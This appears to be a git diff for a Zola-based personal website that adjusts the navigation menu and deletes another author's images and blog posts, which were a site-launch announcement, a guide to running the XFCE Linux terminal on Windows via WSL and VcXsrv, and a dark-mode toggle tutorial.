removed most of tim's stuff and worked on rhino
|
@ -36,9 +36,9 @@ author = "Satya Johnson"
|
|||
zenn_title = "Satch"
|
||||
zenn_menu = [
|
||||
{url = "$BASE_URL/", name = "Home"},
|
||||
{url = "$BASE_URL/projects/", name = "Projects"},
|
||||
{url = "$BASE_URL/chat/", name = "Chat"},
|
||||
{url = "$BASE_URL/rhino/", name = "Rhino"},
|
||||
{url = "$BASE_URL/about/", name = "About"},
|
||||
{url = "$BASE_URL/about/", name = "About"},
|
||||
{url = "$BASE_URL/donate/", name = "Donate"},
|
||||
{url = "$BASE_URL/contact/", name = "Contact"},
|
||||
]
|
||||
|
|
Before Width: | Height: | Size: 370 KiB |
Before Width: | Height: | Size: 434 KiB |
Before Width: | Height: | Size: 754 KiB |
Before Width: | Height: | Size: 159 KiB |
|
@ -1,65 +0,0 @@
|
|||
+++
|
||||
title = "Fresh & shiny website, hurray!"
|
||||
description = "A fresh and shiny new website, hurray!"
|
||||
|
||||
[taxonomies]
|
||||
categories = ["release", "blog"]
|
||||
tags = ["website"]
|
||||
|
||||
[extra]
|
||||
zenn_applause = true
|
||||
+++
|
||||
|
||||
My personal website had basically been unchanged, lacking content, collecting
|
||||
dust, since 2011 _(!!!)_, and here we are, more than 8 years later.
|
||||
|
||||
Finally, I made some effort to revamp my personal website – _something you
|
||||
obviously want to be proper looking_ – to scrap the previous.
|
||||
I put some work in building a custom template to properly personalize it, with a
|
||||
dark interface to reflect the stereotypical developer. It has some bold design
|
||||
choices, so it'll be exciting how it works out.
|
||||
|
||||
Surprise surprise, you're currently visiting the fresh and shiny new website.
|
||||
_Or not so shiny after all, because it's dark._
|
||||
|
||||
<!-- more -->
|
||||
|
||||
## Show me!
|
||||
|
||||
Alright, we went from:
|
||||
|
||||
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/before-home.png") }}
|
||||
|
||||
to ...
|
||||
|
||||
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-home.png") }}
|
||||
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-about.png") }}
|
||||
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-dungeon-maze.png") }}
|
||||
|
||||
It'll undergo some visual changes and improvements based on user feedback for
|
||||
sure, but the majority of it stands.
|
||||
|
||||
## Blog
|
||||
With this revamp, I introduced the ability for easy blogging.
|
||||
I intend to use this website as a simple blog platform to share cool code
|
||||
snippets, project releases, simple tutorials, useful findings and to share my
|
||||
experience with various topics I'm interested in.
|
||||
I'm not a writer, so let's see how this works out.
|
||||
|
||||
Notice the [Blog](@/blog/_index.md) section for an overview of posts,
|
||||
or see the sidebar (bottom of the page on mobile devices) for a listing of
|
||||
[categories](/categories) and [tags](/tags) to scope on a more specific topic.
|
||||
|
||||
_Oh, and, you're reading the first blog post right now!_
|
||||
|
||||
## 3-2-1 Publish
|
||||
Today (2019-07-03) I'm publishing this new website at my personal `timvisee.com`
|
||||
domain along with this post. I'd be happy to hear your thoughts!
|
||||
|
||||
Of course, as a proper _open-sourcerer_, the source code for this website as a
|
||||
whole is available in [this][source] repository.
|
||||
And a big thanks to the developers of [Zola][zola] for building an amazing site
|
||||
engine I was able to build this website in.
|
||||
|
||||
[source]: https://github.com/timvisee/timvisee.com
|
||||
[zola]: https://getzola.org/
|
Before Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 103 KiB |
Before Width: | Height: | Size: 37 KiB |
Before Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 88 KiB |
|
@ -1,354 +0,0 @@
|
|||
+++
|
||||
title = "Fix Windows 10 terminals, use a Linux terminal"
|
||||
description = "I feel handicapped in Windows terminals, here is why, and how I fixed it."
|
||||
|
||||
[taxonomies]
|
||||
categories = ["guide", "blog"]
|
||||
tags = ["windows", "terminal", "linux"]
|
||||
|
||||
[extra]
|
||||
toc = true
|
||||
zenn_applause = true
|
||||
comments = [
|
||||
{url = "https://news.ycombinator.com/item?id=20383725", name = "Hacker News"},
|
||||
{url = "https://www.reddit.com/r/bashonubuntuonwindows/comments/can286/fix_windows_10_terminals_use_a_linux_terminal/", name = "Reddit"},
|
||||
{url = "https://lobste.rs/s/byz48p/fix_windows_10_terminals_use_linux", name = "Lobsters"},
|
||||
]
|
||||
+++
|
||||
|
||||
> _I feel handicapped in Windows terminals, here is why, and how I fixed it._
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/overview.png", url="/blog/fix-windows-terminals-use-linux-terminal/overview.png") }}
|
||||
|
||||
As a seasoned developer, I _live_ in the terminal on Linux machines.
|
||||
Using a custom shell, `vim` as text/code editor, `git` through its CLI,
|
||||
[`dotfiles`][dotfiles] to sync settings across devices.
|
||||
Everything is customized to my likings and styled with a nice color scheme.
|
||||
All of it in a dark, text-based window on my screen.
|
||||
|
||||
Once you get used to your command-line tools, it's a serious joy to
|
||||
work with. It's a way to interface with your machine in a super-efficient and
|
||||
expressive manner. As you can probably imagine, it can be pretty frustrating
|
||||
when you don't have access to the tools you know and love.
|
||||
|
||||
I sometimes use a Windows machine, for work or for building Windows-supported
|
||||
software. Sadly, I feel pretty handicapped on this operating system, to be
|
||||
frank. I can't get comfortable (and I'm super OCD for that matter).
|
||||
The overall experience always appears to be subpar to what I'm used to.
|
||||
|
||||
<!-- more -->
|
||||
|
||||
Through some testing, I've located this to be a problem with the terminals on
|
||||
Windows. Though before the [WSL][wsl] era, running Linux tooling on Windows was
|
||||
literally unthinkable, the situation has already improved a lot. Almost every
|
||||
Linux tool works somewhat out of the box. Installing and configuring your
|
||||
software using [dotfiles][dotfiles] became a much better experience as well.
|
||||
The terminals on Windows still feel mediocre, it just isn't there yet.
|
||||
|
||||
> I should note that this isn't a problem for light terminal usage in Windows
|
||||
> 10 these days. When invoking simple commands through SSH, everything works
|
||||
> beautifully. This is about using heavily personalized tooling, and as you
|
||||
> can probably tell, I'm somewhat of a power user in this regard. Though, this
|
||||
> might become useful in the future.
|
||||
|
||||
### The problems
|
||||
Throughout the past year, I've tried using a **lot** of different terminals
|
||||
after giving up on the terminal included with `bash` on Windows.
|
||||
Some of them include: ConEmu, hyper, Cmder, Terminus & PuTTY, with various
|
||||
troublesome configuration attempts. I was never able to achieve the same
|
||||
experience as I've had on Linux or macOS, have always encountered weird
|
||||
shenanigans and was never really satisfied.
|
||||
|
||||
Personally, I can generalize the usual problems to the following:
|
||||
- color schemes are problematic, and usually, look different than its Linux
|
||||
counterpart
|
||||
- terminals on Windows appear *sloooow*, as a `vim` user you expect things to be
|
||||
instant
|
||||
- garbled output, no proper [ANSI][ansi] support
|
||||
- some bindings don't work
|
||||
|
||||
With some more specific examples throughout the different terminals:
|
||||
- weird lines between characters, random underlined text
|
||||
- everything looks darker than it should be
|
||||
- color channels are flipped
|
||||
- some special characters are not rendered at all
|
||||
- no support for [`xterm-256color`][xterm-256color] at all
|
||||
|
||||
### Simple solution
|
||||
The solution to these problems honestly was quite simple, much more so than I
|
||||
initially thought:
|
||||
|
||||
> Just run a Linux terminal you're familiar with, on Windows.
|
||||
|
||||
Yes, seriously. Why not use a Linux terminal, if you can't get Windows
|
||||
terminals to behave? Because this is Windows, not Linux? Nope!
|
||||
|
||||
Some effort is required to get this up and running, which is what I'll guide you
|
||||
through in the following section. Don't worry, this won't be hard and
|
||||
shouldn't take more than 15 minutes.
|
||||
|
||||
## Linux terminal on Windows 10
|
||||
Before we start, make sure you're running an up-to-date Windows 10 instance,
|
||||
and you need to have administrator rights. That's all, and you're good to go.
|
||||
|
||||
We'll be going through the following five easy steps:
|
||||
1. [Enable WSL, install Ubuntu](#enable-wsl)
|
||||
2. [Install XFCE terminal](#install-terminal)
|
||||
3. [Install X server](#install-x)
|
||||
4. [Run XFCE terminal](#run-terminal)
|
||||
4. [Create useful shortcuts](#useful-shortcuts)
|
||||
|
||||
### 1. Enable WSL, install Ubuntu {#enable-wsl}
|
||||
|
||||
Alright. The first big part is to get Linux software running on Windows in the
|
||||
first place. Lucky for us, Windows has [WSL][wsl] these days, making this a
|
||||
breeze.
|
||||
|
||||
To start, you must **enable WSL** on your installation. Microsoft's own
|
||||
guide perfectly describes how this is done:
|
||||
[docs.microsoft.com/en-us/windows/wsl/install-win10][wsl-install]
|
||||
|
||||
Once that is finished, you should **install a Linux distribution** that
|
||||
provides Linux tooling we need. We'll be using the **Ubuntu** distribution
|
||||
for this, which is most commonly used. (You may choose a different distro,
|
||||
although some of the following commands will be different.) Ubuntu is
|
||||
installed through the Microsoft Store, also described in
|
||||
[this][wsl-install-ubuntu] guide.
|
||||
|
||||
WSL & Linux: check ☑️
|
||||
|
||||
Let's continue.
|
||||
|
||||
### 2. Install XFCE terminal {#install-terminal}
|
||||
Now you can pick a Linux terminal you want to use. We'll be
|
||||
using the terminal included with the [XFCE][xfce] desktop in this guide. It's a
|
||||
excellent versatile terminal, that is efficient, has superb color scheme
|
||||
support, and has all the options you need. Choosing some different you have
|
||||
experience with is fine as well, of course.
|
||||
|
||||
To **install XFCE terminal**, we'll use the Ubuntu package manager. Open the start
|
||||
menu, and search for `bash`. This should bring up a terminal window running
|
||||
Linux through WSL with a `bash` shell. Invoke the following two commands:
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install xfce4-terminal
|
||||
```
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/install_xfce.png") }}
|
||||
|
||||
You won't be able to use the installed terminal just yet, because Linux in WSL
|
||||
has no way to draw a window on your screen at this time. We'll fix that in the
|
||||
next step.
|
||||
|
||||
A proper terminal: check ☑️
|
||||
|
||||
### 3. Install X server {#install-x}
|
||||
Graphical Linux systems commonly use the [X][x] Window System (a.k.a. X11), used
|
||||
to manage and draw application windows on the screen. This system is very
|
||||
flexible & modular, which comes to good use in our case. X has various server
|
||||
implementations, not just for Linux but also for Windows, acting as a system for
|
||||
rendering windows.
|
||||
|
||||
> Random fun fact: you can even draw windows over the network with X, to an
|
||||
> external machine.
|
||||
|
||||
We need to **install an X server** on our Windows system and tell Linux in WSL
|
||||
to draw application windows to it. Guess what, this is the last installation
|
||||
step required for showing the terminal window!
|
||||
|
||||
In this guide, we'll be using [**VcXsrv**][vcxsrv], but other implementations
|
||||
should work similarly. Visit its project page, download and install it:
|
||||
[sourceforge.net/projects/vcxsrv][vcxsrv]
|
||||
|
||||
Ability to render the terminal window on the screen: check ☑️
|
||||
|
||||
### 4. Run XFCE terminal {#run-terminal}
|
||||
Now comes the fun part: actually starting and using the terminal.
|
||||
|
||||
You must start the X server we installed, tell applications in Linux to draw to
|
||||
it, and the terminal is ready to start. Note that this is required after each login.
|
||||
|
||||
#### Start VcXsrv
|
||||
First, **start the VcXsrv server** we have installed. An icon should have
|
||||
appeared on your desktop, or you might find it through the start menu (named
|
||||
'Xlaunch'). It will then ask us for some settings through a wizard:
|
||||
|
||||
Pick 'Multiple windows' for now, you can experiment with other options later.
|
||||
Leave the 'Display number' value at `-1`.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv1.png") }}
|
||||
|
||||
Just 'Start no client' for now, which allows us to show any number of Linux
|
||||
application windows. You can always start the terminal directly through here
|
||||
at a later time.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv2.png") }}
|
||||
|
||||
We want to sync the clipboard to make life easier.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv3.png") }}
|
||||
|
||||
Click 'Next' one more time and start the server.
|
||||
|
||||
Start the X server: check ☑️
|
||||
|
||||
#### Configure X server address
|
||||
After that, the X server starts and a taskbar tray icon should appear.
|
||||
This is useful because it tells us the address the server is running at.
|
||||
Right-clicking allows you to kill the server as well.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/toolbar_icon.png") }}
|
||||
|
||||
Our X server is running at `0.0`, chosen by the server because we set the
|
||||
display number to `-1`. We need the number before the `.`, being `0` in this
|
||||
case, and have to **configure this in the Linux environment**.
|
||||
|
||||
Open a `bash` shell again through the Windows start menu to access the Linux
|
||||
environment. And set the `DISPLAY` environment variable to `:0`, for our X
|
||||
server address:
|
||||
|
||||
```bash
|
||||
export DISPLAY=:0
|
||||
```
|
||||
|
||||
Configured the X server address: check ☑️
|
||||
|
||||
#### Start the terminal
|
||||
This finally makes your system ready to actually start the terminal. **Invoke
|
||||
the following command** and see the magic happen:
|
||||
|
||||
```bash
|
||||
xfce4-terminal
|
||||
```
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/start_xfce.png") }}
|
||||
|
||||
Oh yes! There it is, the XFCE Linux terminal on your Windows system in all its
|
||||
glory. The terminal has sane defaults, but I recommend to take a quick look
|
||||
through its settings anyway to pick the desired color scheme.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce_colors.png") }}
|
||||
|
||||
Your terminal is now ready to use to its full potential. Happy hacking!
|
||||
|
||||
### 5. Create useful shortcuts {#useful-shortcuts}
|
||||
Okay, we're not quite done yet.
|
||||
|
||||
As you might have noticed, these last few steps are required after each login,
|
||||
which is cumbersome. The X server must be started, and you need to set
|
||||
the `DISPLAY` variable for each `bash` shell you open from Windows. Though the
|
||||
following steps are not required, it is highly recommended you follow them.
|
||||
|
||||
#### VcXsrv configuration file shortcut
|
||||
It is possible to create a configuration file for VcXsrv, to instantly start the
|
||||
server without going through the wizard again and again.
|
||||
|
||||
To do this, go through the wizard one last time. You might want to use `0` as
|
||||
'Display number' (instead of `-1`) to ensure you're always starting the server
|
||||
on a consistent address. On the final wizard screen, a 'Save configuration'
|
||||
button appears, click it and save it in an easy-to-access place such as your
|
||||
desktop as it will act as shortcut.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv4.png") }}
|
||||
|
||||
Double-clicking the created configuration file/shortcut should start the
|
||||
server, and a tray icon should appear.
|
||||
|
||||
#### XFCE terminal shortcut
|
||||
We can make starting the terminal easier by creating a custom shortcut.
|
||||
Right-click on your desktop or an Explorer window to create a new shortcut:
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/create_shortcut.png") }}
|
||||
|
||||
We'll start `bash`, and automatically invoke the commands we ran
|
||||
[before](#configure-x-server-address). Fill in the following command in the
|
||||
'Location' field for this shortcut:
|
||||
|
||||
```bash
|
||||
bash -c 'export DISPLAY=:0; xfce4-terminal -e bash'
|
||||
```
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_path.png") }}
|
||||
|
||||
Hit 'Next', pick a fun name and you're done.
|
||||
|
||||
Double-clicking the shortcut you've created should automatically open a new
|
||||
_proper_ terminal window. Hurray!
|
||||
|
||||
Windows automatically spawns a window for the `bash` command we're running
|
||||
through the shortcut, causing two windows to show up. This is annoying.
|
||||
Luckily we can minimize this unused window by default. Right-click on the
|
||||
shortcut, and hit 'Properties'. Set the 'Run' option to 'Minimized':
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_minimized.png") }}
|
||||
|
||||
> Not showing the `bash` window at all is also possible with a workaround,
|
||||
> but won't be covered in this guide.
|
||||
|
||||
## Tips & Tricks
|
||||
Here are some tips, tricks, and notices you might find useful.
|
||||
|
||||
You can extend the command used for the shortcut to automatically open a specific
|
||||
Linux program or to start an `ssh` session. You can create multiple different
|
||||
shortcuts as well. Here's an example to immediately start a `ssh` session I
|
||||
commonly use:
|
||||
|
||||
```bash
|
||||
bash -c 'export DISPLAY=:0; xfce4-terminal -e "bash -c \"ssh root@work.lan\""'
|
||||
```
|
||||
|
||||
You can set the `DISPLAY` environment variable by default, by appending the `export
|
||||
DISPLAY=:0` line to the `~/.bashrc` file through your `bash` shell.
|
||||
|
||||
You can use other graphical Linux software as well after setting the `DISPLAY`
|
||||
environment variable.
|
||||
|
||||
If Linux applications don't show up, and the shortcut immediately quits, you
|
||||
have probably configured an incorrect X server address or did not configure it
|
||||
at all. Review the [Configure X server address](#configure-x-server-address)
|
||||
section.
|
||||
|
||||
Here's a simple final checklist for all the steps to get a Linux terminal
|
||||
working:
|
||||
- [enable WSL, install Ubuntu](#enable-wsl)
|
||||
- [install XFCE terminal](#install-terminal)
|
||||
- [install X server](#install-x)
|
||||
- for each login: [start VcXsrv](#start-vcxsrv)
|
||||
- for each `bash` shell: [configure X server address](#configure-x-server-address)
|
||||
- for each `bash` shell: [start the terminal](#start-the-terminal)
|
||||
|
||||
## Final thoughts
|
||||
This solution isn't ideal. It takes effort to get up and running, and opening
|
||||
a new terminal isn't as easy as with other terminals. But for me, this is a
|
||||
solution that gives me the best terminal experience I've had on Windows. It
|
||||
works like a charm, and it feels super _comfy_. That is important.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/workspace.png") }}
|
||||
|
||||
Honestly, I find it kind of interesting, that almost every terminal on a Linux
|
||||
or macOS based system works flawlessly for any tooling with no configuration.
|
||||
However, on Windows, I don't see this quality, for something that seems so
|
||||
simple: rendering monospaced text on a screen.
|
||||
|
||||
Let's hope the terminal situation on Windows improves. A lot has been getting
|
||||
better lately since WSL was introduced, and many more people started experiencing
|
||||
these itches than before since Linux on Windows became a viable thing.
|
||||
I wonder what the [upcoming][windows-terminal] Windows terminal will bring to
|
||||
the table.
|
||||
|
||||
I won't be going back to Windows anytime soon myself, but at least this provides
|
||||
a terminal I'm happy with when I _need_ to use a Windows machine.
|
||||
|
||||
As always: _Hope this helps!_ <sub> :wq</sub>
|
||||
|
||||
[ansi]: https://en.wikipedia.org/wiki/ANSI_escape_code
|
||||
[dotfiles]: https://github.com/timvisee/dotfiles
|
||||
[vcxsrv]: https://sourceforge.net/projects/vcxsrv/
|
||||
[windows-terminal]: https://devblogs.microsoft.com/commandline/introducing-windows-terminal/
|
||||
[wsl-install-ubuntu]: https://docs.microsoft.com/en-us/windows/wsl/install-win10#install-your-linux-distribution-of-choice
|
||||
[wsl-install]: https://docs.microsoft.com/en-us/windows/wsl/install-win10
|
||||
[wsl]: https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux
|
||||
[x]: https://en.wikipedia.org/wiki/X_Window_System
|
||||
[xfce]: https://xfce.org/
|
||||
[xterm-256color]: https://stackoverflow.com/a/10039347/1000145
|
Before Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 307 KiB |
Before Width: | Height: | Size: 9.8 KiB |
Before Width: | Height: | Size: 6.3 KiB |
Before Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 6.2 KiB |
Before Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 6.3 KiB |
Before Width: | Height: | Size: 6.3 KiB |
Before Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 226 KiB |
Before Width: | Height: | Size: 6.6 KiB |
Before Width: | Height: | Size: 32 KiB |
|
@ -1,287 +0,0 @@
|
|||
+++
|
||||
title = "Dark mode toggle on your static website"
|
||||
description = "Add a dark mode theme toggle to your static HTML website."
|
||||
|
||||
[taxonomies]
|
||||
categories = ["guide", "blog"]
|
||||
tags = ["web", "css", "javascript", "theme", "website"]
|
||||
|
||||
[extra]
|
||||
toc = true
|
||||
zenn_applause = true
|
||||
+++
|
||||
|
||||
Developers [like][developers-like-dark] dark themes. When looking at a screen
|
||||
all day (or rather, night) long, a pale white background with black text is an
|
||||
eyesore. Many software engineers prefer to use a dark theme with lower
|
||||
contrast colors in their code editors, and many tools started shipping dark
|
||||
visuals as default in the last few years.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-16_dark-mode-toggle-on-static-website/screenshot.png", url="/blog/dark-mode-toggle-on-static-website/screenshot.png") }}
|
||||
|
||||
I fall into that group as well and have been using these themes for so long
|
||||
that I can't even recall when I joined the dark side. I started to like these
|
||||
dark themes a lot and find them more visually pleasing, appearing more...
|
||||
_Professional_. To reflect this, I wanted to give my website – _this_
|
||||
website – dark visuals as well.
|
||||
|
||||
This isn't always a success. On some screens or in some light conditions the
|
||||
dark theme can be difficult to read, and some just prefer a paper-like background
|
||||
color anyway. I decided to create a dark/light mode toggle to please everyone.
|
||||
|
||||
<p>
|
||||
<a href="#" onclick="theme_toggle(); return false;">
|
||||
🌓
|
||||
</a>
|
||||
<i>— Tap the moon icon, and see the magic happen.</i>
|
||||
</p>
|
||||
|
||||
<!-- more -->
|
||||
|
||||
## What we're building
|
||||
Alright. In this post I'll explain how to implement a light/dark mode toggle
|
||||
for your website, it's super simple and adaptable. There are _a million_
|
||||
tutorials for this on the Internet already, but here is my take on it in
|
||||
some detail with a few tips.
|
||||
|
||||
This will use and support:
|
||||
|
||||
- toggle theme using a button with smooth transitions
|
||||
- remember chosen theme on a device, no flickering on page load
|
||||
- simple & effective to implement, works on static HTML pages
|
||||
- style sheet per color theme, keep it maintainable with SCSS variables
|
||||
|
||||
Continue to the next section for the implementation, or skip to [The
|
||||
result](#the-result) just for the result.
|
||||
|
||||
## Build a theme toggle
|
||||
"How is this be implemented?" I hear you ask. Well, it's quite simple.
|
||||
|
||||
Because we're working with a static HTML website, theme selection must be done on the
|
||||
client. We'll use two style sheets (each for a different color scheme), and some
|
||||
simple JavaScript to toggle between these. The user preference will be
|
||||
remembered across visits.
|
||||
|
||||
### Load two style sheets
|
||||
First off, **load two style sheets** inside the `<head>` block of your website
|
||||
which **replaces the existing** style sheet you might have in your template.
|
||||
Just link both to your existing sheet for now. Assign an `id` to easily
|
||||
reference them from JavaScript, choose `style-light` and `style-dark`. The
|
||||
latter of the two links gets the `disabled` attribute to disable it by default.
|
||||
They won't do anything yet, but this is to prepare for the toggle we'll build
|
||||
next.
|
||||
|
||||
I'm using `/site.css`, which makes the imports **look like this**:
|
||||
|
||||
```html
|
||||
<link id="style-light" rel="stylesheet" href="/site.css" />
|
||||
<link id="style-dark" disabled rel="stylesheet" href="/site.css" />
|
||||
```
|
||||
|
||||
### Add a toggle
|
||||
Now we'll create the toggle. After that, we can finalize and iteratively
|
||||
experiment with a new color scheme.
|
||||
|
||||
**Put an element** that will **act as toggle** somewhere on your website where
|
||||
it's easily accessible. It should invoke the `theme_toggle()` function when
|
||||
clicked which we'll set up next. On my website it's a contrast icon located
|
||||
next to the page title, check it out. Though it can be anything, I recommend
|
||||
to use an anchor, **like this**:
|
||||
|
||||
```html
|
||||
<a href="#" onclick="theme_toggle(); return false;">🌓</a>
|
||||
```
|
||||
|
||||
### Toggle with JavaScript
|
||||
Create a **new JavaScript file**, let's call it `theme.js`. We need a function
|
||||
`theme_set` to set the theme to light/dark, and `theme_toggle` which toggles
|
||||
the theme. This will toggle the `disabled` state for both style sheets
|
||||
depending on a truthy parameter, and stores the preference as well in the
|
||||
persistent `localStorage` JavaScript store on the client. The toggle function
|
||||
queries the current state and sets the theme by negating it. It **looks like
|
||||
this**:
|
||||
|
||||
```js
|
||||
function theme_set(toggled) {
|
||||
document.getElementById('style-light').disabled = toggled;
|
||||
document.getElementById('style-dark').disabled = !toggled;
|
||||
localStorage.setItem('theme-toggled', toggled ? '1' : '');
|
||||
}
|
||||
|
||||
function theme_toggle() {
|
||||
theme_set(!document.getElementById('style-light').disabled);
|
||||
}
|
||||
```
|
||||
|
||||
To restore the user preference we need to set the theme on page load, based on
|
||||
the stored value. **Append the following line** for this:
|
||||
|
||||
```js
|
||||
theme_set(localStorage.getItem('theme-toggled'));
|
||||
```
|
||||
|
||||
To use this, **load the script** in the `<head>` block of your template
|
||||
**after** the style sheets, like this:
|
||||
|
||||
```js
|
||||
<script src="/theme.js" type="text/javascript"></script>
|
||||
```
|
||||
|
||||
### Theme style sheets
|
||||
The toggle button is functional now, but you won't see anything change yet.
|
||||
We'll look at creating a second style sheet with alternative colors now.
|
||||
|
||||
Generally speaking, the only thing that differs between these sheets will be
|
||||
colors. I highly recommend using [`SCSS`][scss] as a
|
||||
[CSS preprocessor][css-preprocessor] for this to allow the usage of color
|
||||
variables, for easy theme variant creation. This guide won't cover
|
||||
[installation][scss-install] or [usage][scss-usage] of [SCSS][scss], though
|
||||
some static site generators such as [Zola][zola] have built-in support for
|
||||
this. I'll show how I've configured my colors for my template, but you can
|
||||
skip this section and use two raw CSS files as well.
|
||||
|
||||
Create a `_colors_light.scss` and `_colors_dark.scss` file. ([This][site] site
|
||||
uses [Zola][zola], so I plase these in `/sass/` for automatic processing.)
|
||||
Both should look similar to this, but having configured colors you choose for
|
||||
your respective themes:
|
||||
|
||||
```css
|
||||
/* File: _colors_light.scss */
|
||||
$color-text: #282828;
|
||||
$color-background: #fcfbf7;
|
||||
$color-border: darken($color-background, 50%);
|
||||
```
|
||||
|
||||
Moved all styles (used in any color variant) to `_site.scss`, and used the
|
||||
color variables from above to adapt to the selected theme:
|
||||
|
||||
```css
|
||||
/* File: _site.scss */
|
||||
body {
|
||||
color: $color-text;
|
||||
background-color: $color-background;
|
||||
}
|
||||
```
|
||||
|
||||
Then create a `site_light.scss` and `site_dark.scss` sheet as the base,
|
||||
importing their respective color configuration and the shared site styles.
|
||||
|
||||
```css
|
||||
/* File: site_light.scss */
|
||||
@import "_colors_light";
|
||||
@import "_site";
|
||||
```
|
||||
|
||||
After processing these, you've created both a `site_light.css` and
|
||||
`site_dark.css` sheet. And yeah, it was that simple to keep it maintainable.
|
||||
Be sure to adapt the style sheet links in your template to the paths these new
|
||||
sheets are located at.
|
||||
|
||||
Awesome! Your toggle should now work, and the preference should be remembered
|
||||
across page reloads. Now take the time to tweak the color variants.
|
||||
|
||||
### Smooth transitions
|
||||
Once you're settled with a second color scheme and everything works, you can
|
||||
enable smooth transitioning between the two themes. We'll use CSS
|
||||
[transitions][css-transitions] for this, which are awesome because they're
|
||||
simple and performant.
|
||||
|
||||
In your shared styles, you need to configure what CSS properties will smoothly
|
||||
transition when changed. Imagine our `_site.scss` sheet from before, to
|
||||
transition all properties that use variables we'll modify it to add the
|
||||
`transition` property like this:
|
||||
|
||||
```css
|
||||
/* File: _site.scss */
|
||||
body {
|
||||
color: $color-text;
|
||||
background-color: $color-background;
|
||||
transition: color 0.2s ease-in-out,
|
||||
background-color 0.2s ease-in-out;
|
||||
}
|
||||
```
|
||||
|
||||
It will take some work to transition every dynamic property on your site, but
|
||||
the result is great. Be sure to read the CSS transition documentation on
|
||||
[MDN][css-transitions], because there's a lot you can tweak and configure.
|
||||
|
||||
Hurray! That's it, yes it was that simple. CSS is awesome for this as it
|
||||
doesn't require changes to the body of your website except for some imports.
|
||||
Now you can publish your freshened website and profit.
|
||||
|
||||
## Tips & Tricks
|
||||
You can modify the style sheet imports and script to use dark colors by default,
|
||||
like on this website. Set the light scheme to be `disabled` by default, and
|
||||
[tweak][theme-script-dark-permalink] the script.
|
||||
|
||||
You might want to leave your existing style sheet as-is, and just use a second
|
||||
sheet to override colors in the main sheet. Simply modify the script to only
|
||||
toggle the `disabled` state for the overriding sheet, and query the overriding
|
||||
sheet instead in the `theme_toggle` function.
|
||||
|
||||
This isn't necessarily for light/dark themes and works perfectly fine for
|
||||
other color combinations as well.
|
||||
|
||||
If desired, you could implement even more themes with a more advanced theme
|
||||
toggling script implementation.
|
||||
|
||||
For additional inspiration you can take a look at styles for [this][site-styles]
|
||||
website.
|
||||
|
||||
## The result
|
||||
To recap, here is an overview of what the changes should look like.
|
||||
|
||||
Your templates `<head>` should contain something like:
|
||||
|
||||
```html
|
||||
<head>
|
||||
<!-- snip --->
|
||||
<link id="style-light" rel="stylesheet" href="/site_light.css" />
|
||||
<link id="style-dark" disabled rel="stylesheet" href="/site_dark.css" />
|
||||
|
||||
<script src="/theme.js"></script>
|
||||
<!-- snip --->
|
||||
</head>
|
||||
```
|
||||
|
||||
And your `theme.js` file will look like:
|
||||
|
||||
```js
|
||||
// File: theme.js
|
||||
|
||||
/**
|
||||
* Set and apply the normal or toggled theme.
|
||||
*
|
||||
* @param toggled Truthy value to show toggled, normal otherwise.
|
||||
*/
|
||||
function theme_set(toggled) {
|
||||
document.getElementById('style-light').disabled = toggled;
|
||||
document.getElementById('style-dark').disabled = !toggled;
|
||||
localStorage.setItem('theme-toggled', toggled ? '1' : '');
|
||||
}
|
||||
|
||||
/**
|
||||
* Toggle the current theme.
|
||||
*/
|
||||
function theme_toggle() {
|
||||
theme_set(!document.getElementById('style-light').disabled);
|
||||
}
|
||||
|
||||
// Apply selected theme, stored in localStorage item
|
||||
theme_set(localStorage.getItem('theme-toggled'));
|
||||
```
|
||||
|
||||
Along with your custom `site_{light,dark}.css` sheets, this is all you need.
|
||||
|
||||
As always: _Hope this helps!_ <sub> :wq</sub>
|
||||
|
||||
[css-preprocessor]: https://developer.mozilla.org/en-US/docs/Glossary/CSS_preprocessor
|
||||
[css-transitions]: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions
|
||||
[developers-like-dark]: https://hashnode.com/post/which-color-theme-do-you-prefer-in-your-code-editor-ciq9e3wbn1avb0053p48nozw0
|
||||
[scss-install]: https://sass-lang.com/install
|
||||
[scss-usage]: https://sass-lang.com/guide
|
||||
[scss]: https://sass-lang.com/
|
||||
[site-styles]: https://gitlab.com/timvisee/timvisee.com/tree/master/themes/zenn/sass
|
||||
[site]: https://gitlab.com/timvisee/timvisee.com
|
||||
[theme-script-dark-permalink]: https://gitlab.com/timvisee/timvisee.com/blob/7e533e64c5acb5eb3bcdbfc97e9d60f1aa0e0519/themes/zenn/static/js/theme.js
|
||||
[zola]: https://getzola.org/
|
